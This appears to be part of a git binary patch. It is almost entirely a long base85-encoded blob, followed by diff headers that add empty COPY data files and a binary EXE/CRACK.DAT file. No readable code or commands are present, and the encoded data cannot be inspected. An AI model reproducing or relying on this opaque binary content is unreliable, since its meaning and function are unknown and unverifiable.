zAKiR@_M!y~%JOory)>D)3C}i<&2;&j$NKI!{&qA~q|heN`NW*8Iv20{IIJ5rHa;4m zVDj#Hg6N>ie> z{hatr%cFI2JbuNQ<~yBRTNmdq$Ymv`a~B?-J5kSZ#NMI?eQH}OTl(;Oxi$_{sQ3He zHK}_~afuRVt}+h6NBL8awaIdsztt#Rzb$|J8r)3l{C^kQQ zLPJG&9lgX2ZVKJ^{rVAFK5fi%V?Hu6r_)YEmM$B5LEmH7fB%BN@@1<|rDgBVX6ogAWiI5y z@uu&7hTb(RuB7wOYg?F2r?>Tjg)26=qg&9^q=+5ck70D<-53A9PMd?rDW)?ZkQ*0g z5}bE^0>-aKU&RoO##u?GZ>nLEBSuB;N74^eL;ZUet5LF$=!N65;(oDUV`JB!#n)j6 zF+Zc#8VEziYtcVh?9C_Amxi*X4okRmOY#aFn&&=?bU##tyQS6`FREpUzS5H;KE3{~ zNBj>qJKPLAyQ?@19Y)2jT>?Nm< zfN7~7C7kkiak!jy1Q)|f-OAef7j?<2@mP6Uv+(=U3Ws^TPz(N_2ecf`f=|cK7rt^CnkJ_e%&zZZ=gTmJz!$#JurpI5U>B5 zm;mRZxvmomU#W_%LsvN2BE*xwGo*@8F=X8hV)*Y{M|U1S*idyBSW)KXG7QBT z;+fcs;`0+2G0}XML_NaU&&U-^e00SD{0`#7X}yQr5!DaiK>>3u5rI6@^PaIgN1t-Q)ylKXShkbwO3Y<(l>%r>(DBG7YbEs8~7-vdaykTly zY`$Z8&;I>N)`}~FEwR!6Oj|um)*nYXFKR{&%1}!Pko4Aor=2bz{70e8$_w~4m+msgDN$-& zlc7@X4>{6lB1BHjb4oIhOckmz7@0W&vl4hVni|e$X5b+5-Qa+J9`q6P6|@T4{uKnF z9nfxQ=uXPd+%AlE9T8ISG-Q6)o{KI;vKvj5#Uu+~NG>?lZ}F7`52m!g&w2wES~<9( z;!d^dWVr|`_^2;}v(`?gf%52L^zuWz4pgpf-u)5kA4!$yd<(ovjv zPKq>NO$N=?=(i*`a}&)F8)E*Ff>do7;KtP78c4fSi=>+ln96Q8)ON?IMCUTMyqFBm zs0A$PQ&1hEx+4D&N&U@OFu2MXb_~LceC>LtfCu4!EOwt61)l>j#2J}>Uvv;Famr&Z zYAz|!2KIHFw^rL#GR4F7k}<0Wa0$v|Jk<9=&AEH&8qSk&5iZ+t1qi1i@DNcWgrvlC z$p>d^5ORbcG5|?lUJc`}^B;%Wa!*!`)*dtcdtm_zf^Q8tI%WD0bP6m3b{&=j0|)QG zZo?kJ9>6HvHkPek#*{Ke*8QJRRR(3?dVqjQyBs6n8B{16f5`~CP5E-ynpx&vKH4V@20k-_8Sf13->eE>G*Io2g(&MDnb?fE&EG%M0GDv0 z6=CDtwQvR)<7{A~tDx`rtr-2`!#fzG5^k|rkOzI@OC_evJ&B{JHkPmZJusOW!CYWkd;hnxw2;tcr^e`5JO?10P8_YAvLqB;g&1bT*P*26x+ir{cK zABKV34Tz+ObPhbR8l`Rd<^6U~gSk(;ZoFH% zKUMf@mLz24AslVMx?JWN_~)a4ceiy;%j1ilqQVhU(3u> z{Tb3F$$gt&nG!4w8ov=oQX@e7JuxMd7-zj5qzjt05Pj-*9{)OXHj!o??#T1I5>h^@{C^EJXq6(XZNw)i*0QIWzV`o+L*&YaLP3 z(wGG-;6`=V5nK!eMD*>CDz99w?OvEq5C}Ivla;!C;&e?%zVLG<{d1nBYy+lm$ z)~q|dhG*s}{LvAX#+|ZRaV=dZJ^s&ha5j-VI6Lv4+X;w`H-3B!BUwJ=($295q12WY z%m%tlBYd*iyT*B3x82BqBduy1R=UB2lEM!lo2NhBJCU*OLypMclG0aW((JviMPyH0 zEO-0yd~+l15@q>R4yMM|lMGJGdZNGPuuX^U*rG38@)oEv?n)z3Rhe8mWcsP0(e06n z@%}J|d0Jw_te6U2QB$2C-DQ`%Lm#mswW`B=3uYt24;~o3(M7>!3@@UsM`ueA+Y^+e z>R(qBT-l9=27jO(m2u!Av=Ufx9AA%;p8J$WNtjDTvH78oY5RsPTIs`PFv1oPEXCmC3|p!9JQT@?VRlV z+nFZq@9bqp$mPLX1eR&5Kys=SAQ{50JyGLpJkfX(f2^~w9~cMyad~FD$q7l8aDA4( zbcUtR(&3ADeCZN*io2CW{R^N(qeX+I(V_8&7PivYY7V9a6IU^#)WynO?bW!OggZ+M}Xvf{Y-(j5YlyHmTUXBBzJYaqs&Vo=g2VeL9DFN1??UJaP6ObT#BB z*(xmy8lJ9c==8ASV9D*<9lr zJ5sfz(n}jvVU6y>Ri`&>L~;ivoERRQFv&I{%YAbZNArSPn%xgM@88Ltn?Q>X=-&o8 zE%U}*oBq95HT?r^lGsOn7F_6F;pCfM-sunzr;lE}edbKb!4@#eBF9&8H5p)*YSQ)g zHP6nWy4j51=!TA`*flHOE+}H#^h^MKKiflPVy9CR$B+mWAO(_?cF6<{E`xqN$>69Im^k-8w|ggi^U z(k)rY`0BU7UG%W21Vbv`Ee5}wNdA$8X10cyRREt9@4cEVo>VdRKQ65(yeg27NhlF0 zFmYd^^B?#!6m)tUg8SzmNFf;pyd7+kcdYL~8!w5p1xFJ7Et_YSrd4Os)_$wQXh*jw zmrEfJKEOGObEAI`34Y`kx!-#=2)yFzJ!fUl1>|pb8Rsr1%hD-(Ma2l$xkQ-#P0Jpy zm-B&IVBxrWTW&Ph|9nVgFgU9A9=^_BpbH8k=5+VY>n4as<|0r!i^DUw6vj39JdN)Z zKe)J+-2mRYCq9mVHH$1G1o~!|gXi?$=@)0ud*6td>zKbc^leS+qM-n6wPa@RmFNab z$q_P)IdFFd>w5Rr-dhRtcMX*bRAvg`*t`CBj~C1okYRV{3mD*x2ofw&+bhNHwVjdO zD~8^>2Om``1QJFT9?|j5;>Jwix$?^-a^Oqx8{?4a9*NW6cz9+Xq|)t8Cl+#l*IkZE z!%#G3Hb>0~7+PpcbJK_rX=H08NY%IZX75pXQM&E7#q%cl1L%lG)(7RB z0D5oPo&w`;V))9p{0FZXA4isSXG>6OLjUEgZK?&>$aRWgGd5ptNnz3#FJH>#xt?5M z(w;rI0=axJuie7T)KqTT!&+-#*?W0I@0!#V%h{qm9_G*hY0=y%63+9PMrT@Ft&6w2 zj#PZx(Ivl$F{F*_WrZdf6M*zY;H#BV%q_&x;n_9gi~IKO<BD;hQhq4T-kP~K@oZl|>({=Op)IdKGe>t-4AoOLgrooC3*{}RBDzBN>#soa z{&IzZ$!KWhlEVCF2YZgpUT(i)RSCRhm}b7kCMevr<-9=)pJ~3AcZg`iOx*lts#4=4 z$8foatg7oV`r+c3eR2L8z0RBmC@}@m>Q%f};X~qEw(gzLk&Qc?05I59i=#5#yI=~0 zT?ob&FBSjPx_$H3FqT`T3wu+xz16$VaS zwUW06oRp$T8ba!pUywqqWxk{MlHmkQNPhe#|pByw{bLLx9RWCCVs(1 z{K&&z&m?#LiXFkI+NH8!k@Ub4$JyuTrvb+d;^Lc$z3?-;uxE}6_Ppg}!q3RO^f|wP z_Vcb48SLDIpH2sk*0@$*f|a8FM)^2xdmsz4a0x;urljE09EMZYq-{KG&>}*R^d;vT z;SxAWf zWXxlH`lg~GeU9k&f_F!}%7#^!@&EmP5QpzG#4Ge6GKc#N`!szDuASU_jJmX&kphAG z-^O*~oKD)QwI#!urpZa&x8@yh5nar(bReR%pzhnRkV?-dcIF(q5{}+@Lc*E(6eSaK z#|HLXkGZ*T^HCtYdHTa)_;~Lau0b>n*%1%hFs2e5%0!1{=+m7-_%cEt8fq6G-Ltv>)x2wb`WAsh^-z(+Wx`PQP^Ao|9L_6)%&5(r zV&6fi&CK3A*wL{6KtxzrmK%hm2D51}UV916Q(rvaIrG9HOIhMJ9gv->-YoYt^^HKk zP=0~Q+5G}b!_Be)DBc?a^YY35X^L*>RKCU}D7rZfQ7)k@oi6E!8w&FScHEfFXqcin_m4YgH)Rt+xU*LTqJtBZGvtCa6^bOtg2LGK z1D(`W=br|nSbdw-?qu<1J14rd6~D&2A!8)6Mmma)-q1&3sp@By&PTimmQHWzEUx?F zdR?mLD77pkn)t&wgtt9qjPoO*^eCgIZ++rwM`?AYF0 zw{+%K&bfk(%FdAw#gs4$@UH9<3nfFy;Ie@CP?-ZNOguEf;Z7ze@}>^RFmI`HS;u+V z%bCoWs*y0tZ`?5ew)~s0?CbkG;dg@WWY_-x9{gL;dnq0tylwgVPv$T37D9=5m2_ug zuNd8!q2Lc)5o%n%y23ktlok^jhb?kOgz?`ziR+frws!K;d2-Kea%rrOlkg5PXJXyr zDT>e4b&HRKdedh%F<3WM8%dHh;Okt=^|CVg8;Y`G?s0`rDXM*q*LNf+-i%w3e?jf- zQRr4b9@p33YI!%0{z=QZ|D&Q*X5XLD2Ua!(ww8XXTDm5FS1I`;A}V_ww&K}Jgr9Op zm)K8@Lc@<|?#a|b*jN~MM%pNSyX0P_Ez_)WGTQti4+4EdUQ!?`ExCcHC;KT)Je$9I zQUOm}hx9gIWtO*1I!$-`Jd@1L5-!#2pbgN6AgbTiTq1L^!Od7SL;Lov@7rWxs*pUa zI%>F=26~FY?xt>f_qdi>t34RmXf|ixqtuLMq5tMAN6>I3&uz7e_aP38<1(P=8&V0t?^$TU;*02*9| z8Z%X1GDSY~>o>wSjzMcxZ#O)^am=Qla z6x94;c6xU}n0-DK8|~yUX!^6u#cQ@#aux19cQTs#Jjlb?UdQp19Z#uDz1rWNx@n`i zggJtdVZRvV%#RECoqW)u)E-6^p?%S?0b!)f5cStXl1A8<+nc*$Xud&TzJBT6==H99 zqq5E_W~Bm?SPE|4jU;Y+m2Pu>^6a_Y>#4-;t}nC8a?EwerI=imaNlYz$G8n0;v~fSZyJ-$1OfD1EH#dJ_ zB&TO?0<8~cPz98p$r{g%rM$;yU`1y4@O{GqY+@NY>YMTH2!7WfWsRu#yD6{a`Pr1 zJ3c~TKbxSS5Avf4t@5&vy+)x9kzeWUpcnjhe2wRi8E87Z{R!(fD7IM<455jxiEF1k zFSfw*AArGA2J@g~tQr2m|Lkfyl1ZQ9$mI??`+L{8WW)CxJBB}x4(3EUOmF9voJ`l++$QocbWHZ30 z+=Xld+Q)T6azkYYAhI@*{7@nwMz$&aoL^p%nrg~oshgF0fuBDWp~3SJi(QN2p}C~9 zLE|$Q@{*{*3leIwo-F5-_d-sJpQp-V3u5xOjg_=FvRN`>ir{SGEF0y(+h_rqgD2DJ zN&(;B>Me3tDz#DJA17v#a3dFf&tO>fv{ediB|oJPX}GkOrMCM-&a9d#Ri(FTR(;^{ zZ^%rrwf@XJx2`Iua6gar#A*{F^YXRs#LI~ei40+(@XuIM=8P-i8S3c6bAlo3=dkvW zq4YM&M-zi@Mc+PP4Yugz!#>6m+dmTSf7&q){bm(fI|Ny(ZA`a{b#A>6>9x$Su20-F zGa5Te2#&bBFIk-YJAzaqB_%E+U4~sMjWI9FU5zfgKVI^?o_$&*KiToaR@8Qr5`Y{S z7PPe8R)%$sw=bvjT$|a-DYQ0f$y2)iA*A}V+94&kX9Le5B=2WQNSw;El5=;a?0A)a z2l&pdi?+z2edPN?cQX=`XdyG5r(dZzPjAVj>C9EBeJ!NPk&%!Z4?r>MP;@}@1~XO{Bmo%z@I_?)EYb;1F^ zW;5yIw;t^;0%+*AFNhmWb9e~<4h=B}R2tHtu-LhuI;q;VQ-S>Y>n%qtvt44k+IqSD zOUmTS5%BGWkfzzKwGU^1Kl#n?zLMPc?$Nu)eb;AZK5S)|x4PEB=r3eYFb239h-7>hZfbbpkvVZm&3j3(=+&l|FAAoR&Hy^ zu4{QI3f#uUAFg2<=Cv?f4aAaPPKNz3jD2r_G<*-^k>PQ7wUmnv6ukuY7Olre6um21 zDAJm!Zz}5gv9GBptO!?BR4GP}6}3X9Pns3I_;OZpyN@Et@%+vUM}2%&p&QS_uL5^a zXFq#O7tY3-tWt-c6<};jbRjkch<4o5NgcN;fIA@myWo?r9KIGF7VN{hD)1q{x>5ZW zyV<9tyWJu*khKxcV2yJs71#P&Ajj^%CgKac0SnBR`|Y6+x{{X#42i3?@I~%oCkS)y z<1okQ>xO;cdr)#@h>hc`gEi;ZoJS89Ngxi%ChVe;t8z#Y(>qqNh>X2_Ac0U*ogu7w z2wOc+GhxtEv)g5LRt>r6Sj~mFu$q~FTK8v&AwaR-YcB?3R|yn;;+9tUgRnnM`E1vc ze9W%a{ETPmo7avNRN*xX$}_6AA`R|VmE!LjR#zG5;Vlo|Dvt(!t@%93D=oRK_s+r# zVgo~Ze3&A3U$J`>_#|sqTlSIW^v%%d&4WX^rr7-t?w@AbZ|Cm5nJ-zh>E zTt&zQA+k^Lu;O9+_#6bCUK&yJ6J~e3v^#x-h;JQ;gv8iS!Ztks~ho zBbdOtkz8}bkw7GMpCFX> zL)Kk9wtlPDm3Sx@Iu|cQ|BC-&ITnw^!*6GpY9b&?w-HB996*kms;g+`s&$#BwvdC?rJFHQ&^bGc5|k>CXtDF zs%UMX2R>Cl1cQS)&}gYYoD-D%Uxe#Szx~vnR>L-$X#Qbm<^0^dNq^=1%>3Gw=j8mR z{?7UFc^H8>KQcd+uw{N|{yyp3-SG2|emqZHc)8H)`f*{(@XLY-b7>(tGiRZm@!!Ib z>C?`4ZF5C;OB9q}O+8j$mzDqD%pmhAclY}%*JVlc)v|J}mE>x}?xQ8Np*6IpOVqHS ztFb>fw8!^C5nl1l85jhUWU zzzf5D;*d4oyY}9B56kBb=W;zW49{xh)=mMiEZ%mQ`((ux9)Y=0^AUtZe#C^pcrGQ6 zF!U5&6Y7Aq>sC!5_r>qy8)_=n-i+$31zv0D-pa3P4GjMkrmW<;wg+;jb6wAebyq;c zJ3SB*=T6T(%_bqHq(_gT-m~}7t)9eN*KXN%D%afi+DhFWR^gJUo&>jAL}DEjg(&)$ zE11UC-5%^j?tO()+yFOsf3(o9P?=;cDgWzubHkWAq_ox0 zjuEd(R2*=GtY1GD{Zwe-kHR~&2~D3xS;ngO&|pe*WaLNfpn_NU)@WXCSZM!$eiwRJi)fpUM-guWjds zqv$qNUq;KhF-m1!`{VpWF!f35&}FK8@F5hXp;21KQgy-)HnnqT&WN(GJyr`WA&ch(D50sUx5@CzL#? zWEk?F_9ld%e+L8JpADNTe~VoEV0Owd{lR))^sGX!=c?o0hU$`28}!1HX5eRH;*d>A z<$z}0MEbSaDI|iVmxYSB;4uT#0^XkUu$S zF5dYL@Ub1npzSwlB5d)Em@=S#fj}>7zAP^DQbjaH^Gmy$qEXl^<4oGqoF#uq(E42TQ`jt#e{{yEW5Yc#g1;a|=N=@X@OVY*%3W4`=d0o_B0u z$_kBy?EU3i?obYY5vwL=y)=0tl>}p7LSO8?xbek;0`~>%VR%Q|m*JmP$^Q-ftWs52 zVVlP;lsCWIJ62U)MZ`}FuO&RLA^{F;tfQr740mE>%;f#Ps1s&xcqGBidae2Hb?F=a z1I}&8B{U*v-jhQv(zbBlHyJtM4J7j22xVzQ_4NLP1hR{B0$D%jqOT7|z>!(g_}$;_XoWx&lM?poQp9H2SWDL+}o_hWJfp+nul zmN2hyD&(=ReT+^N><=e~dJ}gE(Rf=cin%=<;(^-YheqsDLa5uURBeAt)sjYaVa=C` zH_g4mVJDxRJgbwlVf+J*rE1&Z(;*p9o|!2;wtCY3Ou!v1`Lz0i>Z7)WaaIWoeQAbl zb?J%~YozUp%aFvp&rH#toAU2=ud5Q`SR_8<=se=oQAi@$gN~@WlGx_48Mr|&J^bT& z^!N|v6O(;lH1h}guUCdT2Jb@Oa@-^{ZVG=;`Kg{K&nCp8ExW zgB)94fGCzjZ3yscQx8Cy0ExPT(o29gA zy8#nl%AT;n4$Xh3Plhy0+E4#& zI#$*v6j1I7R#ntDeEe8RD{7#gTJw^nYkls(hrTP(tPS@`T7A0wM4AjCnkvw8uPfAQ zqgec>)ta21L`rJ09Mi&VPSKjg8EZvpscSw)pdl4I;mT;B?bJ?!n%Z#)UQGi*)ur7( zH)qp|N)CgJB(_>83{Vbd+4rXFC8sOzg&#Kq(3U-Dq~x*X*46KH?YG{i(-555sr&PH zKu9Mglh%x_2=|UZYqqnWAvx=LoOdwry|bdDzsqg(^^kg zpG2cR5|T^2X;FqRKTDb-R&BXB6l@+kgp1+aKdE<{;FGe=D?|0Z;~w0N80?q(A-gPY z3}Y)AhO*re8FiEmed!y}U+MxQ8J765z_}X{+L*w}z>nmR2X`KA`v@zs>YnH3mwv8&!*SS`=mHargg~uLHv zpvKbFGvFd}!LvS7{ZCV1VrN%VU`1ehQc;rH!Lb0y=4qT-z|osK%$$vKtez_GRJ*@$ zZgDOtAaUikKC*B3LR4(yDmAE(ZL#h1xH;kA$|x;|+Ly>7VCfHeNT>=Bf|0|8DiEY6 z^#hG9q+vBLBdfA8rR2ntFF3=2FDh5O4X6G>?EX&W_x@e$GF^!cy~DKG79JXU2XHaQ zhr+#(00Xxk?gB87u9_OZG^1Y}dB_-fONcw$aG+Y58gC;DX zwLX>u^T;76z4!9T+UQ*mCEq^*|9V<^s8K?!sY8$H4BB+3`5He|OJr*-l*Sznm_2x{`!(b1s{Z1Y-7(cO;*aq(*5_#) z+L+fzKFL$$jtrP^pI+^2zFWW#{l~h+Nj@rCfAfN@$=5VxYsvN6zch(0%C1g9$~pJ{ zUV2b}!+Qhn+sHhxlK#x-sx6lDdiod1-CLXF)c?h&|GY&R%bMmbH%;uHy0pHtj#<~q znPdN&RdSICHd!RE+If+TFyZWxKU7huX`7-?dt~eUXGnrMO?P*9yVmn6X8+OfLt?+` zlaT>??w`sp?6@zPL@L+We4HxdsZY?Sre-Xk{_mE__gl-BGjofU=cH$E=vnSiRyaib z(HfB9&{zICn=33(eOhWY)wOTSj6r7atbGqcCQgw}E-ra*R(U!GnCYb1|5S60=urLm z^8~lp-0kVu?oDg%D5+OeO#W6GnlN{#O}4@3!3g@T&pv9h1y;mM6jyXO_Pvk+2X=3 zR^JZsQ+gj^|8!1tMS#4COq+h!Y>t+3kq+VZunuJ$<~H?ND2D7@mw!=ZQ2$oB z7w7ItZy|U8BAA?>e!uPFE%bN8DZ`nmiNhhx*x}%uXj~W}4#_e`HvgbsR}x$PeXG=R zUF$g}W5_8dcqo{zGQ>R>IK-%sAM$f$4k-+U@tYMUvqt4wc+(4Domr94F2qJ?HAKet84v?bVC z$GF8%e)YJ#MPJKqW3|NiCn@ z@n1j8Ax;3*{RwHG>!&7AbLyq!_ z47zTs$$HJ1{(4-8ZBgYuNnLTYv9k4%I_@j$SL(aV_fRWss%2kN@51uT1Z~RmN>62H zDcQf-A|@wD4wUf=r`7+H zld|qz`snL5<5`&;_LeQSIz5lG$Cnrx(fiMz8lSzbEX#c90j(paT5cXG_&ev6!qP{q zEy`W`ZM5irXE*FTY)v>Qq!5oeVhd*OorQywd<=YotP6Y=E!3PeU?0-n^Ub3#v~#eA zs&jU3Qqi`)ps#d?Gllc`vd)PLMTd?Ot?gA#cla0owNNd3nwF+u#NEOjw5-1#*?fPf z@DAQ;wmP5rAu)#&damwRUw_s9!r3>77d6$&WbC$Ze~Yi~EjC@5DbZbZ*&QvJT`6@D zUChD!E+V9hqo$u0(#1?%*L9Na&_x7ybu!Aj(&~u7u8V1ZcZD$hx)SMGT@Fr!cUL_# zpgVY_TVqPwqeE`YE^9SKwLAr-w!l!&gq02x1006i04Mq20Ks$`aH4Asw9yt1R50!i zl*rl+gfOQKILTWps1b72K9NcWX;zO8ugcq9v`;Rhi0>{e$~vR_@cVc3mWK`dzP~S$ z8$7cWU-Dg~RVce)sM^UWE>Gcx1EFFubC(0n>}My#^rwIzjr)j@D#~n(AdJ_K6PL!M zm%-8*!{bD!AM61m+6Z0|rZb?*p+FrvIP-XmCHO17_pYtW1d>;4pKoeB;~v+L0^4|^ z``Oh8tJu7g*DqhWe@Vn{E`4+MJx_G1=h&~qYHbQmlkjaiOklx0yrs+;RscI;BWwZ# z4m%qTBXkLF;2$d=!7KO=3P?E_m=8{PLD>e_ix-sbhe9|867me(f@g@nhcAeZzy!Ex zOUR`V08zba;9fr{fqnSkC|remAaQI2AQEJqfu99~R^4OHd7@q4aesD)PX7 zr3Z6hdx-$jAs>ZKKq=fqp~vV6Y1j@wL017CGY3b!a!thE3y0whx?6@(c`z#931Or4(z!Dq~^@JcuN7+IsL9`RPp%+9!-(Ym|eZc@77-($@7{ffYwitZT z?+}Q>``sjDDr|=Xf*3dmqa$oM2UXC3YFgnds*$=qc0Nv`R0rgx*&ctPe9$*iRZkRFMS5P=YFM zLM^bD^y98*s$(Rm0`vE6ajRk7|L5fqIPp827oY~wMtBYFsQ5ql4w4l^pb$!E{NA7` z*rWAzkcvWkFs#o&Vm$zILj#gB^obNmS-?TbGZ@nwC|Ltf5aq&0=z%FC)*uEiu}qg6 zVv}G7SfHc>W^)xvuE&&-f+LvEN<^gz>lRo^ea<>92nIvMX2T!gfs$(>5+%37E|9Y5 z97doH(I#}5T+t2vAh+C#?14pyxuI@S5DKxFZ3(#-Gj~aVZvz22i_?N4WUqu=fH7bG zTjyq!+zHw60#RvlT(|PlePK1mF#-}G1LL>{bI<0Tf{RE;5xX8!*o|l}e1m3*qJs&p z{{wfCitBeG`Cg*dw=f8fk3~SccV0pQ?iew9a7W1%um&PfG8*%khiDO;Mf5V}ibV7+ zR>Y7%gjtoDR89(DG8iFh3N8?WvYU}sq+kbna|%(ZH;)nJVuVSa0LFkZ`SdR~QqdH> zn~Rml=Iw){NIVg{9BbtvqRq&2Hm@5!{|*U*ih9PVhY2RI5cPQA-`Pk(80PVBM7O~q zIE!dG#)YIy3uxOINvQ!c4N)@)M%h@{inS=&aSH24M_(WbhDC@v!E&q^2`PP=jj~d% zl7b6R0S^&n_93a&(?x7^WVJW?l>j-A-MY?r#}F_L_$am%HbMd}zK&Hx3aZh- z2SlZgi+K`|W!fUDheVo(s4a$PHOfZ(4$n3u|7~=t2JlUg(~@~CtWXhK7p4Fc4Vl6M z48Rg>hW|_OW=KOc7oBADN`H4R5xWMkAt3q|iS@r=jbgB54E4~~40L!g+H%D^7fHcN zkcLY_#y}e6B6=LjPYN(Czsd9p*AEL+U>q0?6_a)0ejT|GTu^Kkgre9M$b%!exDMU` z4>zT3B#-E9tfpv0lQC-7QMO(h{{(Cns3e0o1(_{kdtfDOLI)2bd)T}(3{eM&{^&yP zhDtP!!vlf-j3SthO6*YF7nMkhlN7{33X)Dj=HYJtLG&ivNAw|N~J9vJ$Q!{mNW~1HtPryjoqAEht)X`=Yy20!4QtFWniBm1=p~G2SE}i0u8elxNrep^vUM!#9W<5br<0Q zJVg|LM1trDhD2rRFgXvF;`%_$CMh_Ma;2zMN}^YS_edcXb2+qSgyEHtOE8s(e+LfB zg4ck|(VyRj9cCuXMpRmPq+m1lpmHpL+ZZ}|i^FU)utJOLe#c`6&f!bwN2N3!wZA~u zQpzAF2*;r#V(&u_KB8M@Xp%%zPZ0f#P2zz-&&Kw5K_p;}u@RNlDk(S(S1^C;t)2EK$Sl zOopjAHbm?hU&D^A5l^+5S5U8q}ed94dfm1EWw^Ctv;0WMjLEi4ANhkQ0ak-MD!h=#;A`JC@+aX zbTKT2HHb!GgJ$z~{jPrz`*;1$$ zg<~QWwV@6uLT%Drv3a+p9RXZ_sp#N`={WP2p~zZkn?#Yn&?z==4_4$6M2m47R}sC1 ziDdI0W21PFXctz-cTC|Z(5~DOD1j!LpMva{^4k(;HYsohFWjbt498HVA)5L7Y*~b< zx`gO;boC*k&Dg$4K_~EWa!Dd3px~y1wxpWa7;%fLjld8e_dT}Kor zB{U)W7L&*3@iFug5U^$4&%-1{(Gx_i@u=s4veH%;hUiu#7n_%Z)liJ6v?EKy{tW9= zO0j+nT=K{6M0_Oet7iDf24@zV=Ob+$h{mIW-G~;zNkpX#y^rV<=~)a>X=bR06exNe z$3`#>HAu*r7}!AECN??T=6)O&6^K4Yr+cxwe!TFE#X^*xG(_xZjB_=rd58Ph%#-&T zMBhbhKivC8L@UvV&jG}1u3|J=fl_7rM_Z( z<$MGZHyq}q!2EX)laL#cD{&~h8$%-PFX!PJYPc&M%!syOha!1Hc&3!`EyuDl`F*Sn zMM9E-N*rr?S2TaP9EK;VJ1kx2(1-dQB&Rk~M?s1)#~g#>(X z2WU#Lj5mSFZ&&i<%+%v4yTvK9_A0O7Tm(_65ZqL7u6bZHwp0ZU?-hOtn5I@_I1#6& zRj8)RIjc5<^LoimwJq;Q2GkTeQ$}?eri=>9C6gF8XD~{f7~@L@molbtd>JO3ScW0z zkovT4Q?qNuJ zFjS+!(E0s!!WMj>{dHJ4Ctc_1mXQLIt>bnGs+Sl-yN-IGE~ZTbhoCw1=KtZq@zzz{ zG2%0_UUy6EFq@YK=_6Y}6qN=0b*;bIq!ROI7%p1dPw328T;yeGp{@OA6@nPL`a&{J?+lg%Tn}~Lni?^k z^F3^7jBU^Qi3xK%Tbo4-t*sVV`UQChxU(jH2KhR(0^MD`o$Xm7O-s|x*<=2j+ylo6 zZ~qk@{?0y2EzcRG^(=yJN8hCA(5=T4Cj`&U!xmYOv&OyFy=;g`?Z}TYWF&|FwV7+N z*d=V(72eOOW9yVTFz^D^_Y?i74Y`?*Bt7u{{NXAjbSgWOl$XeaDx{Q?%^W))yt<39M2kg*9J~Y zuWMwo=M{ANwmT4h&fbFF{|cN_V>YI(VJuE%d7u3{6!p`LS))j}CL{*cuOFuQ=LdD< z-c9fPYJchDrZh6-jEr9s*<9`39RB?iBR=rII;GxY!}$^C${9|*&zrs9vD#RV7!}nXbxhE|D2l-LKm~|p(}#yca_SyE`hTB(uyjA1PUA+Y%%#l+!YZ53Q5iAdaHpgssl0MhKFw9# zV9!z>p?7k(mdL98^2498XQ{q41QkK?l#^lE))mLr{hpqj6Oe1+KsvTm7#U%tTZcg zi^??>CQ7wdHHkd*SGH18m1Yq}cMkR4qq4DQ)ab^n#q%Q{j9iYluPQs6rynricecBK zP;`d>`hZp?2k(ZR{tnJb;n6XNeg_iS5HEUDVd;0Ea4JKcl52{_M zBZgmva3m+aS1IO;vKSO$=9aIu$Ii3 zGiOqJSzAZ%t*|2{Ih`NpO-pGFPi)jz8#e!xTmDfk!sz(hRLgxhvUf_Fa<{eon8E{7fe7#;M(_ zO&bPlPjk9a)N@VE2 zUQ`Bdib>A%amkxkrtu^f`r`OoDecC)wD|Fv^v${n|Zm-)1?S8gA+MFJcbUDQBg0eytOYh+%)fPXCPBRUI zlBYAWXnl4X{CZBG{4PP(O1U3$#^c_8ftL2%Dz`9*348S8%0iaS!kL{Wb8bA<*NA!; z@ZHsOb7acm;CLS`R{4eQzgknvPo_3>5>x)}(C!)3db-#+^|D}nc*%dqJU<0pQRK!L zlx|8sMz-DC^dh|Gf&Adv)zfI(TK?52J-xeBcI=n!+)vBQU8_T{rKLVo5-+$)fACIb z(B;~yA9^gSQ2X`UzZO~x(>;4z4a-Z%f-N-^1~~)XqQ^qtoT~$SijRG~_}cVUU$Llh zZ;jDdO7R}EkQmlA%G~nNP3rj{SB4b+4a^woyrPtF(XYex-Td~5F2TLt&mA9?vz-U^ zrt-70?j3PI7Z4I;_@{dJm)5b5|NP^vch34jh3v8ZBI2fUruoGaa)S6Z^RLP0`>A#| zH8iZT_L#aX1Q;PF{4Gv97bk9=w_ZObivDZCFD_;Ii*v-3s%6cg%qVk8(?=d(hMMK( z+)izFRz7*kUngbBG-4`^h@d9P68eXVHmqYO>;YDtY=im4T3>60t{>$j#kL9iR?UrIg3+Ky~86?k-9|8H%^rXysD1 z+C+SAw@&dCo<1R_l%{GH5FDz4lAlJXq7`i_hN`Dpsa%giN3b$MH78LK6r0MWGz%K3m(<3Y1W+DsnzM+txHO&0bz4kTQ+z6EHnDGd71p!QR_$BU_})B`HcLa4sj%8SypCTgf&N*GMw>ra|e z<*)AJ-_U5_f1lvK=MPRK>D-p7l;w9%Bq{Mb5aRy#<;R?H#N@`G@S7)+G`@)Nj-O;T z{8T%UEHnNj@8!T8{!M&PDSMmXUzy;(`!dRTqBPK3p7(TDz2<-#YCD38zKo8)s+2Lw zqy773jK6y#S@!&Zn7@6Zym}(9Eh&?qG?DbqUXuEmA2X3Wt5WXIR>A%{*+$NwOn%+Q z%wBaOvyot}YW=pqP4-EC+lI{l)QN$+>luc338LG8G$O95)NN6ceVku+bzj?n!t2i0 zV%atm+WarQH1k<>n)y6>@Y>aDHf%Jc7bk0vWj@CL1@N|pLrAQK3i~T)1hKx~#hD=f E4`d{1CjbBd literal 0 HcmV?d00001 diff --git a/EXE/COPY-1.DAT b/EXE/COPY-1.DAT new file mode 100644 index 0000000..e69de29 diff --git a/EXE/COPY-2.DAT b/EXE/COPY-2.DAT new file mode 100644 index 0000000..e69de29 diff --git a/EXE/COPY-3.DAT b/EXE/COPY-3.DAT new file mode 100644 index 0000000..e69de29 diff --git a/EXE/CRACK.DAT b/EXE/CRACK.DAT new file mode 100644 index 0000000000000000000000000000000000000000..f576588a7b125fd2572db5a4f494de97b6ab67ad GIT binary patch literal 2378 zcmdT`cTf{}7M2A?$btw6=2%H+qDTTM^r|4eswd?H2_zH~NJuCm7`g-k0wQps<)pg^ zth<4LG%2Fz1tSP6Jqo)Cks>9Ou$0Zst^eHY%-+n++|0dyely>D@B7~TX5PF{2M+!p z#*rgO&=}lrf^K*)2?NGN1mPp1h$tdHLWHA;L7`zWcoLX^BBH>7c%mrr-^?cx48`CG z|Dv$N6T?wa7!jk5snwSuG`^q_Xgm}O{U>}?;~EBh3y;Q-birS;zm@;tBNDW`4p$@X zf}_5d4~I&}m#Vwk9+o`@yt1vDcgP1EQlk*Q=>8q85lMP%>WsB#L&Q!QCH-l^Y6n5S zgJ9nVjIK~%$-HcFlQ&udNT6=xpldgV%^w~$8gG0iba5H>a$Flp2x`dx97paxtYR zYn}&DrQTHOsmu&dXhCw&6xNfmqQ2@y2CSw>;L3P6w|P^A&UwVt{>iHIcA4tIl*1G& 